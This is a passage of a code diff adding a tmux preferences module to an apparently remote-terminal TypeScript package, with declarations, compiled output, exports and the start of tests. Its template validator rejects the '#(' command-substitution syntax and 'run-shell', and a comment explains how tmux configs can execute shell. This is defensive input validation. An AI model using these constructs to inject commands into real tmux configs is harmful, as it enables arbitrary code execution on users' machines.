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"}
|
|
@@ -18,4 +18,6 @@ export type { PrefStore } from './ai-chat-prefs';
|
|
|
18
18
|
export { FUNCTION_KEYS_PREF, getFunctionKeysVisible, setFunctionKeysVisible } from './ai-chat-prefs';
|
|
19
19
|
export type { TerminalNameVars } from './terminal-name';
|
|
20
20
|
export { DEFAULT_TERMINAL_TEMPLATE, TERMINAL_NAME_TOKENS, factsFromSession, renderTerminalName } from './terminal-name';
|
|
21
|
+
export type { TmuxPrefs, TmuxStatusPrefs } from './tmux-prefs';
|
|
22
|
+
export { DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE, compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor, resolveTmuxPrefs, } from './tmux-prefs';
|
|
21
23
|
//# sourceMappingURL=index.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,YAAY,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AAEtC,YAAY,EAAE,QAAQ,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM,UAAU,CAAC;AAC7D,OAAO,EAAE,aAAa,EAAE,OAAO,EAAE,MAAM,UAAU,CAAC;AAElD,YAAY,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AACnD,OAAO,EAAE,gBAAgB,EAAE,gBAAgB,EAAE,MAAM,cAAc,CAAC;AAElE,YAAY,EAAE,gBAAgB,EAAE,MAAM,WAAW,CAAC;AAClD,OAAO,EAAE,YAAY,EAAE,MAAM,WAAW,CAAC;AAEzC,YAAY,EAAE,aAAa,EAAE,SAAS,EAAE,aAAa,EAAE,cAAc,EAAE,MAAM,gBAAgB,CAAC;AAE9F,OAAO,EAAE,kBAAkB,EAAE,cAAc,EAAE,MAAM,UAAU,CAAC;AAE9D,YAAY,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,eAAe,CAAC;AACzD,OAAO,EAAE,WAAW,EAAE,MAAM,eAAe,CAAC;AAE5C,OAAO,EAAE,gBAAgB,EAAE,YAAY,EAAE,MAAM,cAAc,CAAC;AAE9D,YAAY,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AACnE,OAAO,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAE9D,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAE9D,OAAO,EAAE,oBAAoB,EAAE,mBAAmB,EAAE,MAAM,sBAAsB,CAAC;AAEjF,YAAY,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AACjD,OAAO,EAAE,kBAAkB,EAAE,sBAAsB,EAAE,sBAAsB,EAAE,MAAM,iBAAiB,CAAC;AAErG,YAAY,EAAE,gBAAgB,EAAE,MAAM,iBAAiB,CAAC;AACxD,OAAO,EAAE,yBAAyB,EAAE,oBAAoB,EAAE,gBAAgB,EAAE,kBAAkB,EAAE,MAAM,iBAAiB,CAAC"}
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,YAAY,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AAEtC,YAAY,EAAE,QAAQ,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM,UAAU,CAAC;AAC7D,OAAO,EAAE,aAAa,EAAE,OAAO,EAAE,MAAM,UAAU,CAAC;AAElD,YAAY,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AACnD,OAAO,EAAE,gBAAgB,EAAE,gBAAgB,EAAE,MAAM,cAAc,CAAC;AAElE,YAAY,EAAE,gBAAgB,EAAE,MAAM,WAAW,CAAC;AAClD,OAAO,EAAE,YAAY,EAAE,MAAM,WAAW,CAAC;AAEzC,YAAY,EAAE,aAAa,EAAE,SAAS,EAAE,aAAa,EAAE,cAAc,EAAE,MAAM,gBAAgB,CAAC;AAE9F,OAAO,EAAE,kBAAkB,EAAE,cAAc,EAAE,MAAM,UAAU,CAAC;AAE9D,YAAY,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,eAAe,CAAC;AACzD,OAAO,EAAE,WAAW,EAAE,MAAM,eAAe,CAAC;AAE5C,OAAO,EAAE,gBAAgB,EAAE,YAAY,EAAE,MAAM,cAAc,CAAC;AAE9D,YAAY,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AACnE,OAAO,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAE9D,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAE9D,OAAO,EAAE,oBAAoB,EAAE,mBAAmB,EAAE,MAAM,sBAAsB,CAAC;AAEjF,YAAY,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AACjD,OAAO,EAAE,kBAAkB,EAAE,sBAAsB,EAAE,sBAAsB,EAAE,MAAM,iBAAiB,CAAC;AAErG,YAAY,EAAE,gBAAgB,EAAE,MAAM,iBAAiB,CAAC;AACxD,OAAO,EAAE,yBAAyB,EAAE,oBAAoB,EAAE,gBAAgB,EAAE,kBAAkB,EAAE,MAAM,iBAAiB,CAAC;AAExH,YAAY,EAAE,SAAS,EAAE,eAAe,EAAE,MAAM,cAAc,CAAC;AAC/D,OAAO,EACL,kBAAkB,EAAE,aAAa,EAAE,mBAAmB,EACtD,qBAAqB,EAAE,qBAAqB,EAAE,gBAAgB,EAAE,gBAAgB,GACjF,MAAM,cAAc,CAAC"}
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.renderTerminalName = exports.factsFromSession = exports.TERMINAL_NAME_TOKENS = exports.DEFAULT_TERMINAL_TEMPLATE = exports.setFunctionKeysVisible = exports.getFunctionKeysVisible = exports.FUNCTION_KEYS_PREF = exports.shouldSubmitOnEnter = exports.COARSE_POINTER_QUERY = exports.rankCommands = exports.commandQuery = exports.toolAppearance = exports.toolClass = exports.shouldFollow = exports.PIN_THRESHOLD_PX = exports.groupEvents = exports.shouldNotifyAi = exports.NOTIFY_COOLDOWN_MS = exports.REPLAY_LIMIT = exports.isPermissionMode = exports.PERMISSION_MODES = exports.preview = exports.PREVIEW_LIMIT = void 0;
|
|
3
|
+
exports.resolveTmuxPrefs = exports.isValidTmuxColor = exports.isValidStatusTemplate = exports.compileStatusTemplate = exports.MAX_STATUS_TEMPLATE = exports.STATUS_TOKENS = exports.DEFAULT_TMUX_PREFS = exports.renderTerminalName = exports.factsFromSession = exports.TERMINAL_NAME_TOKENS = exports.DEFAULT_TERMINAL_TEMPLATE = exports.setFunctionKeysVisible = exports.getFunctionKeysVisible = exports.FUNCTION_KEYS_PREF = exports.shouldSubmitOnEnter = exports.COARSE_POINTER_QUERY = exports.rankCommands = exports.commandQuery = exports.toolAppearance = exports.toolClass = exports.shouldFollow = exports.PIN_THRESHOLD_PX = exports.groupEvents = exports.shouldNotifyAi = exports.NOTIFY_COOLDOWN_MS = exports.REPLAY_LIMIT = exports.isPermissionMode = exports.PERMISSION_MODES = exports.preview = exports.PREVIEW_LIMIT = void 0;
|
|
4
4
|
var events_1 = require("./events");
|
|
5
5
|
Object.defineProperty(exports, "PREVIEW_LIMIT", { enumerable: true, get: function () { return events_1.PREVIEW_LIMIT; } });
|
|
6
6
|
Object.defineProperty(exports, "preview", { enumerable: true, get: function () { return events_1.preview; } });
|
|
@@ -35,3 +35,11 @@ Object.defineProperty(exports, "DEFAULT_TERMINAL_TEMPLATE", { enumerable: true,
|
|
|
35
35
|
Object.defineProperty(exports, "TERMINAL_NAME_TOKENS", { enumerable: true, get: function () { return terminal_name_1.TERMINAL_NAME_TOKENS; } });
|
|
36
36
|
Object.defineProperty(exports, "factsFromSession", { enumerable: true, get: function () { return terminal_name_1.factsFromSession; } });
|
|
37
37
|
Object.defineProperty(exports, "renderTerminalName", { enumerable: true, get: function () { return terminal_name_1.renderTerminalName; } });
|
|
38
|
+
var tmux_prefs_1 = require("./tmux-prefs");
|
|
39
|
+
Object.defineProperty(exports, "DEFAULT_TMUX_PREFS", { enumerable: true, get: function () { return tmux_prefs_1.DEFAULT_TMUX_PREFS; } });
|
|
40
|
+
Object.defineProperty(exports, "STATUS_TOKENS", { enumerable: true, get: function () { return tmux_prefs_1.STATUS_TOKENS; } });
|
|
41
|
+
Object.defineProperty(exports, "MAX_STATUS_TEMPLATE", { enumerable: true, get: function () { return tmux_prefs_1.MAX_STATUS_TEMPLATE; } });
|
|
42
|
+
Object.defineProperty(exports, "compileStatusTemplate", { enumerable: true, get: function () { return tmux_prefs_1.compileStatusTemplate; } });
|
|
43
|
+
Object.defineProperty(exports, "isValidStatusTemplate", { enumerable: true, get: function () { return tmux_prefs_1.isValidStatusTemplate; } });
|
|
44
|
+
Object.defineProperty(exports, "isValidTmuxColor", { enumerable: true, get: function () { return tmux_prefs_1.isValidTmuxColor; } });
|
|
45
|
+
Object.defineProperty(exports, "resolveTmuxPrefs", { enumerable: true, get: function () { return tmux_prefs_1.resolveTmuxPrefs; } });
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
export interface TmuxStatusPrefs {
|
|
2
|
+
enabled: boolean;
|
|
3
|
+
position: 'top' | 'bottom';
|
|
4
|
+
bg: string;
|
|
5
|
+
fg: string;
|
|
6
|
+
left: string;
|
|
7
|
+
right: string;
|
|
8
|
+
}
|
|
9
|
+
export interface TmuxPrefs {
|
|
10
|
+
/**
|
|
11
|
+
* 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
|
|
12
|
+
* its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
|
|
13
|
+
* scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
|
|
14
|
+
*
|
|
15
|
+
* Browser sessions override this back to `on` per session, because a browser
|
|
16
|
+
* tab has no native selection of a remote pane to fall back on.
|
|
17
|
+
*/
|
|
18
|
+
mouse: 'native-select' | 'tmux';
|
|
19
|
+
/** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
|
|
20
|
+
attachMode: 'auto' | 'control' | 'normal';
|
|
21
|
+
historyLimit: number;
|
|
22
|
+
status: TmuxStatusPrefs;
|
|
23
|
+
}
|
|
24
|
+
export declare const STATUS_TOKENS: string[];
|
|
25
|
+
export declare const DEFAULT_TMUX_PREFS: TmuxPrefs;
|
|
26
|
+
/**
|
|
27
|
+
* Compile a status template to a tmux format string.
|
|
28
|
+
*
|
|
29
|
+
* A tmux config can execute shell — `#(...)` is command substitution and
|
|
30
|
+
* `run-shell` runs a command outright — so this is an injection surface with
|
|
31
|
+
* exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
|
|
32
|
+
* templates arrive over the network from a browser, it is the only thing
|
|
33
|
+
* between a settings form and arbitrary command execution on a developer's
|
|
34
|
+
* machine.
|
|
35
|
+
*
|
|
36
|
+
* Rejecting rather than escaping is deliberate for those two: no legitimate
|
|
37
|
+
* status bar needs either, and an escape that is one tmux release out of date
|
|
38
|
+
* fails open. The quote is escaped rather than rejected because a user may
|
|
39
|
+
* reasonably want one.
|
|
40
|
+
*/
|
|
41
|
+
export declare function compileStatusTemplate(template: string): string;
|
|
42
|
+
/** True when a status template is safe to store and render. */
|
|
43
|
+
export declare function isValidStatusTemplate(template: string): boolean;
|
|
44
|
+
export declare function isValidTmuxColor(value: string): boolean;
|
|
45
|
+
/** Longest status template we will store. Long enough for a real bar, short
|
|
46
|
+
* enough that nobody pastes a script into it. */
|
|
47
|
+
export declare const MAX_STATUS_TEMPLATE = 200;
|
|
48
|
+
/**
|
|
49
|
+
* Merge stored prefs over the defaults, validating as we go.
|
|
50
|
+
*
|
|
51
|
+
* Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
|
|
52
|
+
* would replace the whole status object and wipe every key the caller did not
|
|
53
|
+
* name. And an invalid value must fall back rather than reach tmux: a bad
|
|
54
|
+
* `mouse` string would render `set-option -g mouse sideways`, which tmux
|
|
55
|
+
* rejects — costing that line silently, since source-file warns and continues
|
|
56
|
+
* rather than aborting.
|
|
57
|
+
*
|
|
58
|
+
* Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
|
|
59
|
+
* That is what lets the same function guard a config file on disk and a JSON
|
|
60
|
+
* body from a browser.
|
|
61
|
+
*/
|
|
62
|
+
export declare function resolveTmuxPrefs(input?: {
|
|
63
|
+
tmux?: unknown;
|
|
64
|
+
} | null | undefined): TmuxPrefs;
|
|
65
|
+
//# sourceMappingURL=tmux-prefs.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"tmux-prefs.d.ts","sourceRoot":"","sources":["../src/tmux-prefs.ts"],"names":[],"mappings":"AAWA,MAAM,WAAW,eAAe;IAC9B,OAAO,EAAE,OAAO,CAAC;IACjB,QAAQ,EAAE,KAAK,GAAG,QAAQ,CAAC;IAC3B,EAAE,EAAE,MAAM,CAAC;IACX,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,KAAK,EAAE,MAAM,CAAC;CACf;AAED,MAAM,WAAW,SAAS;IACxB;;;;;;;OAOG;IACH,KAAK,EAAE,eAAe,GAAG,MAAM,CAAC;IAChC,+EAA+E;IAC/E,UAAU,EAAE,MAAM,GAAG,SAAS,GAAG,QAAQ,CAAC;IAC1C,YAAY,EAAE,MAAM,CAAC;IACrB,MAAM,EAAE,eAAe,CAAC;CACzB;AAeD,eAAO,MAAM,aAAa,UAA6B,CAAC;AAExD,eAAO,MAAM,kBAAkB,EAAE,SAchC,CAAC;AAEF;;;;;;;;;;;;;;GAcG;AACH,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,CAa9D;AAED,+DAA+D;AAC/D,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO,CAO/D;AAOD,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,MAAM,GAAG,OAAO,CAEvD;AAED;kDACkD;AAClD,eAAO,MAAM,mBAAmB,MAAM,CAAC;AAEvC;;;;;;;;;;;;;GAaG;AACH,wBAAgB,gBAAgB,CAAC,KAAK,GAAE;IAAE,IAAI,CAAC,EAAE,OAAO,CAAA;CAAE,GAAG,IAAI,GAAG,SAAc,GAAG,SAAS,CA2B7F"}
|
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
// tmux preferences: the shape, the defaults, and the validation.
|
|
3
|
+
//
|
|
4
|
+
// Shared because THREE places need the same answer and any drift between them
|
|
5
|
+
// is a bug: the agent renders these into ~/.dialout/tmux.conf, the settings API
|
|
6
|
+
// validates what a browser sends before storing it, and the settings UI shows
|
|
7
|
+
// the same choices. The agent's own option list already existed twice once and
|
|
8
|
+
// silently drifted; this is the same mistake one layer up, so it is prevented
|
|
9
|
+
// rather than watched for.
|
|
10
|
+
//
|
|
11
|
+
// Rendering itself stays in the agent — only it produces a tmux file.
|
|
12
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
13
|
+
exports.MAX_STATUS_TEMPLATE = exports.DEFAULT_TMUX_PREFS = exports.STATUS_TOKENS = void 0;
|
|
14
|
+
exports.compileStatusTemplate = compileStatusTemplate;
|
|
15
|
+
exports.isValidStatusTemplate = isValidStatusTemplate;
|
|
16
|
+
exports.isValidTmuxColor = isValidTmuxColor;
|
|
17
|
+
exports.resolveTmuxPrefs = resolveTmuxPrefs;
|
|
18
|
+
// Status template tokens, compiled to tmux formats so nobody has to learn tmux
|
|
19
|
+
// format syntax to restyle the bar.
|
|
20
|
+
const TOKEN_FORMATS = {
|
|
21
|
+
// #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
|
|
22
|
+
folder: '#{b:pane_current_path}',
|
|
23
|
+
path: '#{pane_current_path}',
|
|
24
|
+
session: '#{session_name}',
|
|
25
|
+
window: '#{window_name}',
|
|
26
|
+
title: '#{=21:pane_title}',
|
|
27
|
+
time: '%H:%M',
|
|
28
|
+
date: '%d-%b-%y',
|
|
29
|
+
};
|
|
30
|
+
exports.STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
|
|
31
|
+
exports.DEFAULT_TMUX_PREFS = {
|
|
32
|
+
mouse: 'native-select',
|
|
33
|
+
attachMode: 'auto',
|
|
34
|
+
historyLimit: 100000,
|
|
35
|
+
status: {
|
|
36
|
+
enabled: true,
|
|
37
|
+
position: 'bottom',
|
|
38
|
+
// tmux's own default is bg=green,fg=black. Kept so an upgrade does not
|
|
39
|
+
// silently restyle a bar the user never asked to change.
|
|
40
|
+
bg: 'green',
|
|
41
|
+
fg: 'black',
|
|
42
|
+
left: '[[session]] ',
|
|
43
|
+
right: '[title] [time] [date]',
|
|
44
|
+
},
|
|
45
|
+
};
|
|
46
|
+
/**
|
|
47
|
+
* Compile a status template to a tmux format string.
|
|
48
|
+
*
|
|
49
|
+
* A tmux config can execute shell — `#(...)` is command substitution and
|
|
50
|
+
* `run-shell` runs a command outright — so this is an injection surface with
|
|
51
|
+
* exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
|
|
52
|
+
* templates arrive over the network from a browser, it is the only thing
|
|
53
|
+
* between a settings form and arbitrary command execution on a developer's
|
|
54
|
+
* machine.
|
|
55
|
+
*
|
|
56
|
+
* Rejecting rather than escaping is deliberate for those two: no legitimate
|
|
57
|
+
* status bar needs either, and an escape that is one tmux release out of date
|
|
58
|
+
* fails open. The quote is escaped rather than rejected because a user may
|
|
59
|
+
* reasonably want one.
|
|
60
|
+
*/
|
|
61
|
+
function compileStatusTemplate(template) {
|
|
62
|
+
const text = String(template);
|
|
63
|
+
if (text.includes('#(')) {
|
|
64
|
+
throw new Error('command substitution "#(" is not allowed in a status template');
|
|
65
|
+
}
|
|
66
|
+
if (/run-shell/i.test(text)) {
|
|
67
|
+
throw new Error('"run-shell" is not allowed in a status template');
|
|
68
|
+
}
|
|
69
|
+
// Escape backslash first, then the quote, or the escapes escape each other.
|
|
70
|
+
const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
|
|
71
|
+
// An unknown [token] is left verbatim: silently dropping it would make a typo
|
|
72
|
+
// look like the setting had no effect.
|
|
73
|
+
return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
|
|
74
|
+
}
|
|
75
|
+
/** True when a status template is safe to store and render. */
|
|
76
|
+
function isValidStatusTemplate(template) {
|
|
77
|
+
try {
|
|
78
|
+
compileStatusTemplate(template);
|
|
79
|
+
return true;
|
|
80
|
+
}
|
|
81
|
+
catch {
|
|
82
|
+
return false;
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
// tmux colours: a named colour, colourN, or #rrggbb. Anything else would be
|
|
86
|
+
// interpolated straight into `status-style`, where a stray comma or quote is a
|
|
87
|
+
// second option rather than a colour.
|
|
88
|
+
const COLOR_RE = /^(#[0-9a-fA-F]{6}|colou?r\d{1,3}|[a-z]{3,12})$/;
|
|
89
|
+
function isValidTmuxColor(value) {
|
|
90
|
+
return COLOR_RE.test(String(value || ''));
|
|
91
|
+
}
|
|
92
|
+
/** Longest status template we will store. Long enough for a real bar, short
|
|
93
|
+
* enough that nobody pastes a script into it. */
|
|
94
|
+
exports.MAX_STATUS_TEMPLATE = 200;
|
|
95
|
+
/**
|
|
96
|
+
* Merge stored prefs over the defaults, validating as we go.
|
|
97
|
+
*
|
|
98
|
+
* Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
|
|
99
|
+
* would replace the whole status object and wipe every key the caller did not
|
|
100
|
+
* name. And an invalid value must fall back rather than reach tmux: a bad
|
|
101
|
+
* `mouse` string would render `set-option -g mouse sideways`, which tmux
|
|
102
|
+
* rejects — costing that line silently, since source-file warns and continues
|
|
103
|
+
* rather than aborting.
|
|
104
|
+
*
|
|
105
|
+
* Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
|
|
106
|
+
* That is what lets the same function guard a config file on disk and a JSON
|
|
107
|
+
* body from a browser.
|
|
108
|
+
*/
|
|
109
|
+
function resolveTmuxPrefs(input = {}) {
|
|
110
|
+
const stored = (input && typeof input === 'object' ? input.tmux : null) || {};
|
|
111
|
+
const status = (stored && typeof stored === 'object' ? stored.status : null) || {};
|
|
112
|
+
const oneOf = (value, allowed, fallback) => (allowed.includes(value) ? value : fallback);
|
|
113
|
+
const text = (value, fallback, valid) => (typeof value === 'string' && value.length <= exports.MAX_STATUS_TEMPLATE && valid(value)
|
|
114
|
+
? value
|
|
115
|
+
: fallback);
|
|
116
|
+
return {
|
|
117
|
+
mouse: oneOf(stored.mouse, ['native-select', 'tmux'], exports.DEFAULT_TMUX_PREFS.mouse),
|
|
118
|
+
attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'], exports.DEFAULT_TMUX_PREFS.attachMode),
|
|
119
|
+
historyLimit: Number.isInteger(stored.historyLimit)
|
|
120
|
+
&& stored.historyLimit > 0 && stored.historyLimit <= 1_000_000
|
|
121
|
+
? stored.historyLimit
|
|
122
|
+
: exports.DEFAULT_TMUX_PREFS.historyLimit,
|
|
123
|
+
status: {
|
|
124
|
+
enabled: typeof status.enabled === 'boolean' ? status.enabled : exports.DEFAULT_TMUX_PREFS.status.enabled,
|
|
125
|
+
position: oneOf(status.position, ['top', 'bottom'], exports.DEFAULT_TMUX_PREFS.status.position),
|
|
126
|
+
bg: text(status.bg, exports.DEFAULT_TMUX_PREFS.status.bg, isValidTmuxColor),
|
|
127
|
+
fg: text(status.fg, exports.DEFAULT_TMUX_PREFS.status.fg, isValidTmuxColor),
|
|
128
|
+
left: text(status.left, exports.DEFAULT_TMUX_PREFS.status.left, isValidStatusTemplate),
|
|
129
|
+
right: text(status.right, exports.DEFAULT_TMUX_PREFS.status.right, isValidStatusTemplate),
|
|
130
|
+
},
|
|
131
|
+
};
|
|
132
|
+
}
|
|
@@ -30,3 +30,9 @@ export { FUNCTION_KEYS_PREF, getFunctionKeysVisible, setFunctionKeysVisible } fr
|
|
|
30
30
|
|
|
31
31
|
export type { TerminalNameVars } from './terminal-name';
|
|
32
32
|
export { DEFAULT_TERMINAL_TEMPLATE, TERMINAL_NAME_TOKENS, factsFromSession, renderTerminalName } from './terminal-name';
|
|
33
|
+
|
|
34
|
+
export type { TmuxPrefs, TmuxStatusPrefs } from './tmux-prefs';
|
|
35
|
+
export {
|
|
36
|
+
DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE,
|
|
37
|
+
compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor, resolveTmuxPrefs,
|
|
38
|
+
} from './tmux-prefs';
|
|
@@ -0,0 +1,113 @@
|
|
|
1
|
+
import { describe, it, expect } from 'vitest';
|
|
2
|
+
import {
|
|
3
|
+
resolveTmuxPrefs, compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor,
|
|
4
|
+
DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE,
|
|
5
|
+
} from './tmux-prefs';
|
|
6
|
+
|
|
7
|
+
describe('resolveTmuxPrefs', () => {
|
|
8
|
+
it('returns the defaults for an empty input', () => {
|
|
9
|
+
expect(resolveTmuxPrefs({})).toEqual(DEFAULT_TMUX_PREFS);
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
// The same function guards a config file on disk and a JSON body from a
|
|
13
|
+
// browser, so every shape of garbage has to come out as valid prefs.
|
|
14
|
+
it('survives null, undefined and non-objects', () => {
|
|
15
|
+
expect(resolveTmuxPrefs(null)).toEqual(DEFAULT_TMUX_PREFS);
|
|
16
|
+
expect(resolveTmuxPrefs(undefined)).toEqual(DEFAULT_TMUX_PREFS);
|
|
17
|
+
expect(resolveTmuxPrefs({ tmux: 'not an object' } as any)).toEqual(DEFAULT_TMUX_PREFS);
|
|
18
|
+
expect(resolveTmuxPrefs({ tmux: 42 } as any)).toEqual(DEFAULT_TMUX_PREFS);
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
it('overrides only what it names', () => {
|
|
22
|
+
const prefs = resolveTmuxPrefs({ tmux: { mouse: 'tmux' } });
|
|
23
|
+
expect(prefs.mouse).toBe('tmux');
|
|
24
|
+
expect(prefs.historyLimit).toBe(DEFAULT_TMUX_PREFS.historyLimit);
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
// status is nested; a shallow spread would wipe the siblings.
|
|
28
|
+
it('keeps unnamed status siblings', () => {
|
|
29
|
+
const prefs = resolveTmuxPrefs({ tmux: { status: { bg: 'colour238' } } });
|
|
30
|
+
expect(prefs.status.bg).toBe('colour238');
|
|
31
|
+
expect(prefs.status.fg).toBe(DEFAULT_TMUX_PREFS.status.fg);
|
|
32
|
+
expect(prefs.status.enabled).toBe(DEFAULT_TMUX_PREFS.status.enabled);
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
